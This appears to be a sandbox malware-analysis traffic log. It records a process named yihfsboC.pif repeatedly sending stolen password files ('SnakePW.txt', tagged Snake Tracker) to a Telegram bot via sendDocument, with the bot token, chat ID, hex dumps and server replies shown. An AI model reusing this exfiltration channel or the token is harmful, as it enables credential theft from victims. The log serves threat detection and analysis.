Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49987	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:24 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10354bf3d436 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:24 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 33 35 34 62 66 33 64 34 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10354bf3d436Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:25 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:25 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389004,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605985,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49988	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:24 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd112bbdaca27c Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:24 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 32 62 62 64 61 63 61 32 37 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd112bbdaca27cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:25 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:25 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389006,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605985,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49994	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:26 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10564b4229a8 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:26 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 35 36 34 62 34 32 32 39 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10564b4229a8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:31 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:31 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389009,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605991,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49995	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:26 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd105de7de44b5 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:26 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 35 64 65 37 64 65 34 34 62 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd105de7de44b5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:31 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:31 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389008,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605991,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	49996	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:27 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd11703916c344 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:27 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 31 37 30 33 39 31 36 63 33 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd11703916c344Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:31 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:31 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389011,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605991,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	50009	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:33 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10ec2ab08ceb Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:33 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 65 63 32 61 62 30 38 63 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10ec2ab08cebContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:33 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:33 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389014,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605993,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	50010	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:33 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10f104b8c903 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:33 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 66 31 30 34 62 38 63 39 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10f104b8c903Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:33 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:33 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 39 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389016,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605993,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	50011	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:33 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1275f877ff90 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:33 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 32 37 35 66 38 37 37 66 66 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: 